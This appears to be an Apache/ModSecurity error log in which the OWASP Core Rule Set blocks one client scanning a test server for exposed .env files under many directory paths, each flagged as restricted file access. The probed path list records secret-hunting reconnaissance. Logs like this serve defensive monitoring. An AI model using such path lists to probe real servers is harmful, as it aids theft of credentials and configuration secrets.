[Wed Feb 25 06:05:19.092267 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/micro-app-react/.env&quot;] [unique_id &quot;aZ6DD_jNQqDNAmB2zjqaBwAAAAY&quot;]
[Wed Feb 25 06:05:19.110924 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /letsencrypt/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/letsencrypt/.env&quot;] [unique_id &quot;aZ6DDyn6hL63qXWzsp19rwAAAAE&quot;]
[Wed Feb 25 06:05:19.111185 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/letsencrypt/.env&quot;] [unique_id &quot;aZ6DDyn6hL63qXWzsp19rwAAAAE&quot;]
[Wed Feb 25 06:05:19.111357 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/letsencrypt/.env&quot;] [unique_id &quot;aZ6DDyn6hL63qXWzsp19rwAAAAE&quot;]
[Wed Feb 25 06:05:19.148816 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /lib/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env&quot;] [unique_id &quot;aZ6DDyn6hL63qXWzsp19sAAAAAE&quot;]
[Wed Feb 25 06:05:19.149082 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env&quot;] [unique_id &quot;aZ6DDyn6hL63qXWzsp19sAAAAAE&quot;]
[Wed Feb 25 06:05:19.149273 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env&quot;] [unique_id &quot;aZ6DDyn6hL63qXWzsp19sAAAAAE&quot;]
[Wed Feb 25 06:05:19.225803 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /mindsweeper/gui/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mindsweeper/gui/.env&quot;] [unique_id &quot;aZ6DD_jNQqDNAmB2zjqaCAAAAAY&quot;]
[Wed Feb 25 06:05:19.226131 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mindsweeper/gui/.env&quot;] [unique_id &quot;aZ6DD_jNQqDNAmB2zjqaCAAAAAY&quot;]
[Wed Feb 25 06:05:19.226413 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mindsweeper/gui/.env&quot;] [unique_id &quot;aZ6DD_jNQqDNAmB2zjqaCAAAAAY&quot;]
[Wed Feb 25 06:05:19.274509 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /minified/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/minified/.env&quot;] [unique_id &quot;aZ6DD_jNQqDNAmB2zjqaCQAAAAY&quot;]
[Wed Feb 25 06:05:19.274760 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/minified/.env&quot;] [unique_id &quot;aZ6DD_jNQqDNAmB2zjqaCQAAAAY&quot;]
[Wed Feb 25 06:05:19.274929 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/minified/.env&quot;] [unique_id &quot;aZ6DD_jNQqDNAmB2zjqaCQAAAAY&quot;]
[Wed Feb 25 06:05:19.307055 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /misc/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/misc/.env&quot;] [unique_id &quot;aZ6DD_jNQqDNAmB2zjqaCgAAAAY&quot;]
[Wed Feb 25 06:05:19.307316 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/misc/.env&quot;] [unique_id &quot;aZ6DD_jNQqDNAmB2zjqaCgAAAAY&quot;]
[Wed Feb 25 06:05:19.307497 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/misc/.env&quot;] [unique_id &quot;aZ6DD_jNQqDNAmB2zjqaCgAAAAY&quot;]
[Wed Feb 25 06:05:19.330578 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /libraries/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/libraries/.env&quot;] [unique_id &quot;aZ6DDyn6hL63qXWzsp19sgAAAAE&quot;]
[Wed Feb 25 06:05:19.330918 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/libraries/.env&quot;] [unique_id &quot;aZ6DDyn6hL63qXWzsp19sgAAAAE&quot;]
[Wed Feb 25 06:05:19.331113 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/libraries/.env&quot;] [unique_id &quot;aZ6DDyn6hL63qXWzsp19sgAAAAE&quot;]
[Wed Feb 25 06:05:19.332605 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /modix/clientapp/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Modix/ClientApp/.env&quot;] [unique_id &quot;aZ6DD_jNQqDNAmB2zjqaCwAAAAY&quot;]
[Wed Feb 25 06:05:19.332844 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Modix/ClientApp/.env&quot;] [unique_id &quot;aZ6DD_jNQqDNAmB2zjqaCwAAAAY&quot;]
[Wed Feb 25 06:05:19.333002 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Modix/ClientApp/.env&quot;] [unique_id &quot;aZ6DD_jNQqDNAmB2zjqaCwAAAAY&quot;]
[Wed Feb 25 06:05:19.357379 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /monerod/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/monerod/.env&quot;] [unique_id &quot;aZ6DD_jNQqDNAmB2zjqaDAAAAAY&quot;]
[Wed Feb 25 06:05:19.357627 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/monerod/.env&quot;] [unique_id &quot;aZ6DD_jNQqDNAmB2zjqaDAAAAAY&quot;]
[Wed Feb 25 06:05:19.357799 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/monerod/.env&quot;] [unique_id &quot;aZ6DD_jNQqDNAmB2zjqaDAAAAAY&quot;]
[Wed Feb 25 06:05:19.457866 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /mongodb/config/dev/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mongodb/config/dev/.env&quot;] [unique_id &quot;aZ6DD_jNQqDNAmB2zjqaDQAAAAY&quot;]
[Wed Feb 25 06:05:19.458162 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mongodb/config/dev/.env&quot;] [unique_id &quot;aZ6DD_jNQqDNAmB2zjqaDQAAAAY&quot;]
[Wed Feb 25 06:05:19.458366 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mongodb/config/dev/.env&quot;] [unique_id &quot;aZ6DD_jNQqDNAmB2zjqaDQAAAAY&quot;]
[Wed Feb 25 06:05:19.522434 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /library/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Library/.env&quot;] [unique_id &quot;aZ6DDyn6hL63qXWzsp19swAAAAE&quot;]
[Wed Feb 25 06:05:19.522743 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Library/.env&quot;] [unique_id &quot;aZ6DDyn6hL63qXWzsp19swAAAAE&quot;]
[Wed Feb 25 06:05:19.522950 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Library/.env&quot;] [unique_id &quot;aZ6DDyn6hL63qXWzsp19swAAAAE&quot;]
[Wed Feb 25 06:05:19.581247 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /monitoring/compose/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/monitoring/compose/.env&quot;] [unique_id &quot;aZ6DD_jNQqDNAmB2zjqaDgAAAAY&quot;]
[Wed Feb 25 06:05:19.581545 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/monitoring/compose/.env&quot;] [unique_id &quot;aZ6DD_jNQqDNAmB2zjqaDgAAAAY&quot;]
